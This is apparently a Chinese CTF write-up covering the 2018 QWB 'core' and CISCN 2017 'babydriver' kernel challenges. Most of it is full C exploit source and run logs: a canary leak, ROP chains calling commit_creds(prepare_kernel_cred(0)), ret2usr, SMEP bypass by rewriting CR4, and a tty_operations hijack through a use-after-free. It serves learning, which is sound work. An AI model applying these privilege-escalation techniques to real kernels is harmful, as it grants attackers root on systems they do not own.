此页稍微讲一下ROP与绕过smep寄存器的检测.
引入
其实内核的栈溢出与用户空间程序的栈溢出类似,都是寻找gadget,然后执行system(“/bin/sh”),只是其中包含有状态的切换,以及在执行system(“/bin/sh”)需要将用户权限提权,从而才能成功执行RCE从而getshell.
上一篇文章已经讲过了此页需要的调试相关的内容,之后将不再复述.
2018 强网杯 - core with ROP
题目附件
简单分析
1 | root@kali:~/QWB2018-core# mkdir tmp |
2 | root@kali:~/QWB2018-core# cp core_give.tar.gz ./tmp/ |
3 | root@kali:~/QWB2018-core# cd tmp/ |
4 | root@kali:~/QWB2018-core/tmp# ls |
5 | core_give.tar.gz |
6 | root@kali:~/QWB2018-core/tmp# tar -zxvf core_give.tar.gz |
7 | ./give_to_player/ |
8 | ./give_to_player/bzImage |
9 | ./give_to_player/vmlinux |
10 | ./give_to_player/core.cpio |
11 | ./give_to_player/start.sh |
12 | root@kali:~/QWB2018-core/tmp# cd give_to_player/ |
13 | root@kali:~/QWB2018-core/tmp/give_to_player# ls |
14 | bzImage core.cpio start.sh vmlinux |
题目给了三个必要的文件以及vmlinux,接下来分析start.sh 以及 解压文件系统镜像分析
1 | root@kali:~/QWB2018-core/tmp/give_to_player# cat start.sh |
2 | qemu-system-x86_64 \ |
3 | -m 64M \ |
4 | -kernel ./bzImage \ |
5 | -initrd ./core.cpio \ |
6 | -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ |
7 | -s \ |
8 | -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ |
9 | -nographic \ |
分配了64M大小,CPU选项进行了设置,开启了kaslr,CTFWiki上面有说64M改成128M才能运行内核
1 | root@kali:~/QWB2018-core/tmp/give_to_player# mkdir tmp |
2 | root@kali:~/QWB2018-core/tmp/give_to_player# cp core.cpio ./tmp/core.cpio.gz |
3 | root@kali:~/QWB2018-core/tmp/give_to_player# cd tmp/ |
4 | root@kali:~/QWB2018-core/tmp/give_to_player/tmp# gunzip core.cpio.gz |
5 | root@kali:~/QWB2018-core/tmp/give_to_player/tmp# cpio -idmv < core.cpio |
6 | ...... |
7 | root@kali:~/QWB2018-core/tmp/give_to_player/tmp# ls |
8 | bin core.cpio core.ko etc gen_cpio.sh init lib lib64 linuxrc proc root sbin sys tmp usr vmlinux |
9 | root@kali:~/QWB2018-core/tmp/give_to_player/tmp# cat init |
10 |
|
11 | mount -t proc proc /proc |
12 | mount -t sysfs sysfs /sys |
13 | mount -t devtmpfs none /dev |
14 | /sbin/mdev -s |
15 | mkdir -p /dev/pts |
16 | mount -vt devpts -o gid=4,mode=620 none /dev/pts |
17 | chmod 666 /dev/ptmx |
18 | cat /proc/kallsyms > /tmp/kallsyms |
19 | echo 1 > /proc/sys/kernel/kptr_restrict |
20 | echo 1 > /proc/sys/kernel/dmesg_restrict |
21 | ifconfig eth0 up |
22 | udhcpc -i eth0 |
23 | ifconfig eth0 10.0.2.15 netmask 255.255.255.0 |
24 | route add default gw 10.0.2.2 |
25 | insmod /core.ko |
26 | |
27 | poweroff -d 120 -f & |
28 | setsid /bin/cttyhack setuidgid 1000 /bin/sh |
29 | echo 'sh end!\n' |
30 | umount /proc |
31 | umount /sys |
32 | |
33 | poweroff -d 0 -f |
加载驱动文件core.ko,复制了一份kallsyms于tmp目录下,并将/proc/sys/kernel/下的kptr_restrict与dmesg_restrict写入1,从而禁止了查看/proc下的kallsyms文件以及不能通过dmesg查看kernel信息,但可以从tmp下的kallsyms文件获取commit_creds,prepare_kernel_cred的地址,此外根目录下有一个gen_cpio.sh文件用于打包文件系统镜像
Exploit
Exploit
漏洞点:
1.core_read具有栈上任意位置内容读取用于泄漏Canary,因为数组的位置可以由用户自己设置
2.opy_to_user函数由于比较的时候为有符号变量,而qmemcpy的时候强制转换成无符号变量,从而具有有栈溢出
1 |
|
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 |
|
9 | |
10 | void spawn_shell() |
11 | { |
12 | if(!getuid()) |
13 | { |
14 | system("/bin/sh"); |
15 | } |
16 | else |
17 | { |
18 | puts("[*]spawn shell error!"); |
19 | } |
20 | exit(0); |
21 | } |
22 | |
23 | size_t commit_creds = 0, prepare_kernel_cred = 0; |
24 | size_t raw_vmlinux_base = 0xFFFFFFFF81000000; |
25 | size_t vmlinux_base = 0; |
26 | size_t find_symbols() |
27 | { |
28 | FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); |
29 | /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */ |
30 | |
31 | if(kallsyms_fd < 0) |
32 | { |
33 | puts("[*]open kallsyms error!"); |
34 | exit(0); |
35 | } |
36 | |
37 | char buf[0x30] = {0}; |
38 | while(fgets(buf, 0x30, kallsyms_fd)) |
39 | { |
40 | if(commit_creds & prepare_kernel_cred) |
41 | return 0; |
42 | |
43 | if(strstr(buf, "commit_creds") && !commit_creds) |
44 | { |
45 | char hex[20] = {0}; |
46 | strncpy(hex, buf, 16); |
47 | sscanf(hex, "%llx", &commit_creds); |
48 | printf("commit_creds addr: %p\n", commit_creds); |
49 | vmlinux_base = commit_creds - 0x9C8E0; |
50 | printf("vmlinux_base addr: %p\n", vmlinux_base); |
51 | } |
52 | |
53 | if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) |
54 | { |
55 | char hex[20] = {0}; |
56 | strncpy(hex, buf, 16); |
57 | sscanf(hex, "%llx", &prepare_kernel_cred); |
58 | printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); |
59 | vmlinux_base = prepare_kernel_cred - 0x9CCE0; |
60 | } |
61 | } |
62 | |
63 | if(!(prepare_kernel_cred & commit_creds)) |
64 | { |
65 | puts("[*]Error!"); |
66 | exit(0); |
67 | } |
68 | |
69 | } |
70 | |
71 | size_t user_cs, user_ss, user_rflags, user_sp; |
72 | void save_status() |
73 | { |
74 | __asm__("mov user_cs, cs;" |
75 | "mov user_ss, ss;" |
76 | "mov user_sp, rsp;" |
77 | "pushf;" |
78 | "pop user_rflags;" |
79 | ); |
80 | puts("[*]status has been saved."); |
81 | } |
82 | |
83 | void set_off(int fd, long long idx) |
84 | { |
85 | printf("[*]set off to %ld\n", idx); |
86 | ioctl(fd, 0x6677889C, idx); |
87 | } |
88 | |
89 | void core_read(int fd, char *buf) |
90 | { |
91 | puts("[*]read to buf."); |
92 | ioctl(fd, 0x6677889B, buf); |
93 | |
94 | } |
95 | |
96 | void core_copy_func(int fd, long long size) |
97 | { |
98 | printf("[*]copy from user with size: %ld\n", size); |
99 | ioctl(fd, 0x6677889A, size); |
100 | } |
101 | |
102 | int main() |
103 | { |
104 | save_status(); |
105 | int fd = open("/proc/core", 2); |
106 | if(fd < 0) |
107 | { |
108 | puts("[*]open /proc/core error!"); |
109 | exit(0); |
110 | } |
111 | |
112 | find_symbols(); |
113 | ssize_t offset = vmlinux_base - raw_vmlinux_base; |
114 | |
115 | set_off(fd, 0x40); |
116 | |
117 | char buf[0x40] = {0}; |
118 | core_read(fd, buf); |
119 | size_t canary = ((size_t *)buf)[0]; |
120 | printf("[+]canary: %p\n", canary); |
121 | |
122 | size_t rop[0x1000] = {0}; |
123 | |
124 | int i; |
125 | for(i = 0; i < 10; i++) |
126 | { |
127 | rop[i] = canary; |
128 | } |
129 | rop[i++] = 0xFFFFFFFF81000B2F + offset; // pop rdi; ret |
130 | rop[i++] = 0; |
131 | rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) |
132 | |
133 | rop[i++] = 0xFFFFFFFF810A0F49 + offset; // pop rdx; ret |
134 | rop[i++] = 0xFFFFFFFF81021E53 + offset; // pop rcx; ret |
135 | rop[i++] = 0xFFFFFFFF8101AA6A + offset; // mov rdi, rax; call rdx; |
136 | rop[i++] = commit_creds; |
137 | |
138 | rop[i++] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret |
139 | rop[i++] = 0; |
140 | |
141 | rop[i++] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; |
142 | |
143 | rop[i++] = (size_t)spawn_shell; // rip |
144 | |
145 | rop[i++] = user_cs; // cs |
146 | rop[i++] = user_rflags; // rflags |
147 | rop[i++] = user_sp; // rsp |
148 | rop[i++] = user_ss; // ss |
149 | |
150 | write(fd, rop, 0x800); |
151 | core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100)); |
152 | |
153 | return 0; |
154 | } |
因为含有内联的汇编语言,所以需要手动设定汇编的格式
1 | gcc exploit.c -static -masm=intel -g -o exploit |
EXP函数概述
1.因为需要返回用户态,故利用save_status函数保存了cs、rsp、ss、rflags的寄存器值
2.由于开启了kaslr,从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的地址,由函数find_symbols实现,并计算出程序基址
3.core_read,core_copy_func,set_off三个函数实现了驱动的必要功能,spawn_shell用于返回用户态时getshell
1 | rop[i++] = 0xFFFFFFFF81000B2F + offset; // pop rdi; ret |
2 | rop[i++] = 0; |
3 | rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) |
4 | |
5 | rop[i++] = 0xFFFFFFFF810A0F49 + offset; // pop rdx; ret |
6 | rop[i++] = 0xFFFFFFFF81021E53 + offset; // pop rcx; ret |
7 | rop[i++] = 0xFFFFFFFF8101AA6A + offset; // mov rdi, rax; call rdx; |
8 | rop[i++] = commit_creds; |
首先执行了prepare_kernel_cred(0),返回值交予rax寄存器,继而将rax交予rdi并执行commit_creds,成功将用户权限提升到root
由于call指令会将调用函数的下一行的RIP压入栈中,而此gadget又没有ret指令,故将rdx中存入一段gadget将原RIP放入通用寄存器中,并返回到commit_creds指针处
1 | rop[i++] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret |
2 | rop[i++] = 0; |
3 | rop[i++] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; |
4 | rop[i++] = (size_t)spawn_shell; // rip |
5 | rop[i++] = user_cs; // cs |
6 | rop[i++] = user_rflags; // rflags |
7 | rop[i++] = user_sp; // rsp |
8 | rop[i++] = user_ss; // ss |
切换GS寄存器的值,并返回用户态执行了spawn_shell函数getshell
2018 强网杯 - core with ret2usr
Exploit
在文章一中有讲,如果内核运行时没有开启smep保护,那么内核态亦可执行用户态的函数代码,对比如上的方法下方的代码则将提权在用户态中用函数指针的方法实现
1 |
|
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 |
|
9 | |
10 | void get_shell(void){ |
11 | system("/bin/sh"); |
12 | } |
13 | |
14 | size_t commit_creds = 0, prepare_kernel_cred = 0; |
15 | size_t raw_vmlinux_base = 0xFFFFFFFF81000000; |
16 | size_t vmlinux_base = 0; |
17 | size_t find_symbols() |
18 | { |
19 | FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); |
20 | /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */ |
21 | |
22 | if(kallsyms_fd < 0) |
23 | { |
24 | puts("[*]open kallsyms error!"); |
25 | exit(0); |
26 | } |
27 | |
28 | char buf[0x30] = {0}; |
29 | while(fgets(buf, 0x30, kallsyms_fd)) |
30 | { |
31 | if(commit_creds & prepare_kernel_cred) |
32 | return 0; |
33 | |
34 | if(strstr(buf, "commit_creds") && !commit_creds) |
35 | { |
36 | char hex[20] = {0}; |
37 | strncpy(hex, buf, 16); |
38 | sscanf(hex, "%llx", &commit_creds); |
39 | printf("commit_creds addr: %p\n", commit_creds); |
40 | vmlinux_base = commit_creds - 0x9C8E0; |
41 | printf("vmlinux_base addr: %p\n", vmlinux_base); |
42 | } |
43 | |
44 | if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) |
45 | { |
46 | char hex[20] = {0}; |
47 | strncpy(hex, buf, 16); |
48 | sscanf(hex, "%llx", &prepare_kernel_cred); |
49 | printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); |
50 | vmlinux_base = prepare_kernel_cred - 0x9CCE0; |
51 | } |
52 | } |
53 | |
54 | if(!(prepare_kernel_cred & commit_creds)) |
55 | { |
56 | puts("[*]Error!"); |
57 | exit(0); |
58 | } |
59 | |
60 | } |
61 | |
62 | size_t user_cs, user_ss, user_rflags, user_sp; |
63 | void save_status() |
64 | { |
65 | __asm__("mov user_cs, cs;" |
66 | "mov user_ss, ss;" |
67 | "mov user_sp, rsp;" |
68 | "pushf;" |
69 | "pop user_rflags;" |
70 | ); |
71 | puts("[*]status has been saved."); |
72 | } |
73 | |
74 | void get_root() |
75 | { |
76 | char* (*pkc)(int) = prepare_kernel_cred; |
77 | void (*cc)(char*) = commit_creds; |
78 | (*cc)((*pkc)(0)); |
79 | } |
80 | |
81 | void set_off(int fd, long long idx) |
82 | { |
83 | printf("[*]set off to %ld\n", idx); |
84 | ioctl(fd, 0x6677889C, idx); |
85 | } |
86 | |
87 | void core_read(int fd, char *buf) |
88 | { |
89 | puts("[*]read to buf."); |
90 | ioctl(fd, 0x6677889B, buf); |
91 | |
92 | } |
93 | |
94 | void core_copy_func(int fd, long long size) |
95 | { |
96 | printf("[*]copy from user with size: %ld\n", size); |
97 | ioctl(fd, 0x6677889A, size); |
98 | } |
99 | |
100 | int main() |
101 | { |
102 | save_status(); |
103 | int fd = open("/proc/core", 2); |
104 | if(fd < 0) |
105 | { |
106 | puts("[*]open /proc/core error!"); |
107 | exit(0); |
108 | } |
109 | |
110 | find_symbols(); |
111 | ssize_t offset = vmlinux_base - raw_vmlinux_base; |
112 | |
113 | set_off(fd, 0x40); |
114 | |
115 | char buf[0x40] = {0}; |
116 | core_read(fd, buf); |
117 | size_t canary = ((size_t *)buf)[0]; |
118 | printf("[+]canary: %p\n", canary); |
119 | |
120 | size_t rop[0x1000] = {0}; |
121 | |
122 | rop[8] = canary; |
123 | rop[10] = (size_t)get_root; |
124 | rop[11] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret |
125 | rop[12] = 0; |
126 | rop[13] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; |
127 | |
128 | rop[14] = (size_t)get_shell; // rip |
129 | |
130 | rop[15] = user_cs; // cs |
131 | rop[16] = user_rflags; // rflags |
132 | rop[17] = user_sp; // rsp |
133 | rop[18] = user_ss; // ss |
134 | |
135 | puts("[*] DEBUG: "); |
136 | getchar(); |
137 | write(fd, rop, 0x800); |
138 | core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100)); |
139 | |
140 | return 0; |
141 | } |
2018 强网杯 - core with bypass_smep
此次手动加入smep保护机制,由于只为了绕过smep,因而防止pti保护机制的影响,在启动脚本中关闭pti保护
1 | -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr pti=off" \ |
2 | -cpu kvm64,+smep \ |
此刻需要绕过CR4寄存器的检测,那么需要对CR4寄存器进行修改,Exploit
1 |
|
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 |
|
9 | |
10 | void get_shell(void){ |
11 | system("/bin/sh"); |
12 | } |
13 | |
14 | size_t commit_creds = 0, prepare_kernel_cred = 0; |
15 | size_t raw_vmlinux_base = 0xFFFFFFFF81000000; |
16 | size_t vmlinux_base = 0; |
17 | size_t find_symbols() |
18 | { |
19 | FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); |
20 | /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */ |
21 | |
22 | if(kallsyms_fd < 0) |
23 | { |
24 | puts("[*]open kallsyms error!"); |
25 | exit(0); |
26 | } |
27 | |
28 | char buf[0x30] = {0}; |
29 | while(fgets(buf, 0x30, kallsyms_fd)) |
30 | { |
31 | if(commit_creds & prepare_kernel_cred) |
32 | return 0; |
33 | |
34 | if(strstr(buf, "commit_creds") && !commit_creds) |
35 | { |
36 | char hex[20] = {0}; |
37 | strncpy(hex, buf, 16); |
38 | sscanf(hex, "%llx", &commit_creds); |
39 | printf("commit_creds addr: %p\n", commit_creds); |
40 | vmlinux_base = commit_creds - 0x9C8E0; |
41 | printf("vmlinux_base addr: %p\n", vmlinux_base); |
42 | } |
43 | |
44 | if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) |
45 | { |
46 | char hex[20] = {0}; |
47 | strncpy(hex, buf, 16); |
48 | sscanf(hex, "%llx", &prepare_kernel_cred); |
49 | printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); |
50 | vmlinux_base = prepare_kernel_cred - 0x9CCE0; |
51 | } |
52 | } |
53 | |
54 | if(!(prepare_kernel_cred & commit_creds)) |
55 | { |
56 | puts("[*]Error!"); |
57 | exit(0); |
58 | } |
59 | |
60 | } |
61 | |
62 | size_t user_cs, user_ss, user_rflags, user_sp; |
63 | void save_status() |
64 | { |
65 | __asm__("mov user_cs, cs;" |
66 | "mov user_ss, ss;" |
67 | "mov user_sp, rsp;" |
68 | "pushf;" |
69 | "pop user_rflags;" |
70 | ); |
71 | puts("[*]status has been saved."); |
72 | } |
73 | |
74 | void get_root() |
75 | { |
76 | char* (*pkc)(int) = prepare_kernel_cred; |
77 | void (*cc)(char*) = commit_creds; |
78 | (*cc)((*pkc)(0)); |
79 | } |
80 | |
81 | void set_off(int fd, long long idx) |
82 | { |
83 | printf("[*]set off to %ld\n", idx); |
84 | ioctl(fd, 0x6677889C, idx); |
85 | } |
86 | |
87 | void core_read(int fd, char *buf) |
88 | { |
89 | puts("[*]read to buf."); |
90 | ioctl(fd, 0x6677889B, buf); |
91 | |
92 | } |
93 | |
94 | void core_copy_func(int fd, long long size) |
95 | { |
96 | printf("[*]copy from user with size: %ld\n", size); |
97 | ioctl(fd, 0x6677889A, size); |
98 | } |
99 | |
100 | int main() |
101 | { |
102 | save_status(); |
103 | int fd = open("/proc/core", 2); |
104 | if(fd < 0) |
105 | { |
106 | puts("[*]open /proc/core error!"); |
107 | exit(0); |
108 | } |
109 | |
110 | find_symbols(); |
111 | ssize_t offset = vmlinux_base - raw_vmlinux_base; |
112 | |
113 | set_off(fd, 0x40); |
114 | |
115 | char buf[0x40] = {0}; |
116 | core_read(fd, buf); |
117 | size_t canary = ((size_t *)buf)[0]; |
118 | printf("[+]canary: %p\n", canary); |
119 | |
120 | size_t rop[0x1000] = {0}; |
121 | |
122 | rop[8] = canary; |
123 | rop[10] = 0xFFFFFFFF81000B2F + offset; // pop rdi; ret |
124 | rop[11] = 0x6F0; |
125 | rop[12] = 0xFFFFFFFF81075014 + offset; // mov cr4, rdi; push rdx; popfq; ret; |
126 | rop[13] = (size_t)get_root; |
127 | rop[14] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret |
128 | rop[15] = 0; |
129 | rop[16] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; |
130 | |
131 | rop[17] = (size_t)get_shell; // rip |
132 | |
133 | rop[18] = user_cs; // cs |
134 | rop[19] = user_rflags; // rflags |
135 | rop[20] = user_sp; // rsp |
136 | rop[21] = user_ss; // ss |
137 | |
138 | puts("[*] DEBUG: "); |
139 | getchar(); |
140 | write(fd, rop, 0x800); |
141 | core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100)); |
142 | |
143 | return 0; |
144 | } |
静态编译并打包:
1 | root@kali:~/QWB2018-core/tmp/give_to_player# gcc ret2usr.c --static -o ret2usr -masm=intel -g |
2 | ...... |
3 | root@kali:~/QWB2018-core/tmp/give_to_player# gcc rop.c --static -o rop -masm=intel -g |
4 | ...... |
5 | root@kali:~/QWB2018-core/tmp/give_to_player# gcc smep.c --static -o smep -masm=intel -g |
6 | ...... |
7 | root@kali:~/QWB2018-core/tmp/give_to_player# mv rop ./tmp/ |
8 | root@kali:~/QWB2018-core/tmp/give_to_player# mv ret2usr ./tmp/ |
9 | root@kali:~/QWB2018-core/tmp/give_to_player# mv smep ./tmp/ |
10 | root@kali:~/QWB2018-core/tmp/give_to_player# cd ./tmp |
11 | root@kali:~/QWB2018-core/tmp/give_to_player# find . |cpio -o --format=newc > core.cpio |
12 | ...... |
13 | root@kali:~/QWB2018-core/tmp/give_to_player# mv core.cpio .. |
14 | root@kali:~/babydriver/tmp# cd .. |
15 | root@kali:~/QWB2018-core/tmp/give_to_player# ./start.sh |
16 | ...... |
17 | / $ ls |
18 | bin dev init linuxrc root sys |
19 | core.cpio etc lib proc rop tmp |
20 | core.ko gen_cpio.sh lib64 ret2usr sbin smep |
21 | usr |
22 | / $ id |
23 | uid=1000(chal) gid=1000(chal) groups=1000(chal) |
24 | / $ ./rop |
25 | [*]status has been saved. |
26 | commit_creds addr: 0xffffffffb229c8e0 |
27 | vmlinux_base addr: 0xffffffffb2200000 |
28 | prepare_kernel_cred addr: 0xffffffffb229cce0 |
29 | [*]set off to 64 |
30 | [*]read to buf. |
31 | [+]canary: 0x7ceda81e4afbc600 |
32 | [*]copy from user with size: -65280 |
33 | / # id |
34 | uid=0(root) gid=0(root) |
35 | / # exit |
36 | / $ ./ret2usr |
37 | [*]status has been saved. |
38 | commit_creds addr: 0xffffffffb229c8e0 |
39 | vmlinux_base addr: 0xffffffffb2200000 |
40 | prepare_kernel_cred addr: 0xffffffffb229cce0 |
41 | [*]set off to 64 |
42 | [*]read to buf. |
43 | [+]canary: 0x78f0b59826473900 |
44 | [*] DEBUG: |
45 | |
46 | [*]copy from user with size: -65280 |
47 | / # id |
48 | uid=0(root) gid=0(root) |
49 | / # exit |
50 | / $ ./smep |
51 | ...... |
52 | / # id |
53 | uid=0(root) gid=0(root) |
54 | / # |
CISCN_2017_babydriver with bypass-smep
Exploit
结构上一章解释过,此题利用tty_struct中的tty_operations结构从而绕过smep保护机制.
1 |
|
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 | |
9 |
|
10 |
|
11 | |
12 | void* fake_tty_operations[30]; |
13 | |
14 | size_t user_cs, user_ss, user_rflags, user_sp; |
15 | void save_status() |
16 | { |
17 | __asm__("mov user_cs, cs;" |
18 | "mov user_ss, ss;" |
19 | "mov user_sp, rsp;" |
20 | "pushf;" |
21 | "pop user_rflags;" |
22 | ); |
23 | puts("[*]status has been saved."); |
24 | } |
25 | |
26 | |
27 | void get_shell() |
28 | { |
29 | system("/bin/sh"); |
30 | } |
31 | |
32 | void get_root() |
33 | { |
34 | char* (*pkc)(int) = prepare_kernel_cred_addr; |
35 | void (*cc)(char*) = commit_creds_addr; |
36 | (*cc)((*pkc)(0)); |
37 | } |
38 | int main() |
39 | { |
40 | save_status(); |
41 | |
42 | int i = 0; |
43 | size_t rop[32] = {0}; |
44 | rop[i++] = 0xFFFFFFFF810D238D; // pop rdi; ret; |
45 | rop[i++] = 0x6F0; |
46 | rop[i++] = 0xFFFFFFFF81004D80; // mov cr4, rdi; pop rbp; ret; |
47 | rop[i++] = 0; |
48 | rop[i++] = (size_t)get_root; |
49 | rop[i++] = 0xFFFFFFFF81063694; // swapgs; pop rbp; ret; |
50 | rop[i++] = 0; |
51 | rop[i++] = 0xFFFFFFFF814E35EF; // iretq; ret; |
52 | rop[i++] = (size_t)get_shell; |
53 | rop[i++] = user_cs; /* saved CS */ |
54 | rop[i++] = user_rflags; /* saved EFLAGS */ |
55 | rop[i++] = user_sp; |
56 | rop[i++] = user_ss; |
57 | |
58 | for(int i = 0; i < 30; i++) |
59 | { |
60 | fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; |
61 | } |
62 | fake_tty_operations[0] = 0xFFFFFFFF810635F5; //pop rax; pop rbp; ret; |
63 | fake_tty_operations[1] = (size_t)rop; |
64 | fake_tty_operations[3] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret |
65 | |
66 | int fd1 = open("/dev/babydev", O_RDWR); |
67 | int fd2 = open("/dev/babydev", O_RDWR); |
68 | ioctl(fd1, 0x10001, 0x2e0); |
69 | close(fd1); |
70 | |
71 | int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY); |
72 | size_t fake_tty_struct[4] = {0}; |
73 | read(fd2, fake_tty_struct, 32); |
74 | fake_tty_struct[3] = (size_t)fake_tty_operations; |
75 | write(fd2,fake_tty_struct, 32); |
76 | |
77 | char buf[0x8] = {0}; |
78 | write(fd_tty, buf, 8); |
79 | |
80 | return 0; |
81 | } |
EXP概述
1.同样的函数保存四个寄存器的值,利用伪条件竞争从而形成的UAF洞,控制大小,令tty_struct结构与释放掉的内存地址重叠
2.read读取到32个字节的内容,将最后8字节内容即tty_operations指针修改fake_tty_operations,进而可将栈迁移至ROP数组
3.修改CR4寄存器的值,通常为0x6F0,之后即可执行用户态的函数并实现提权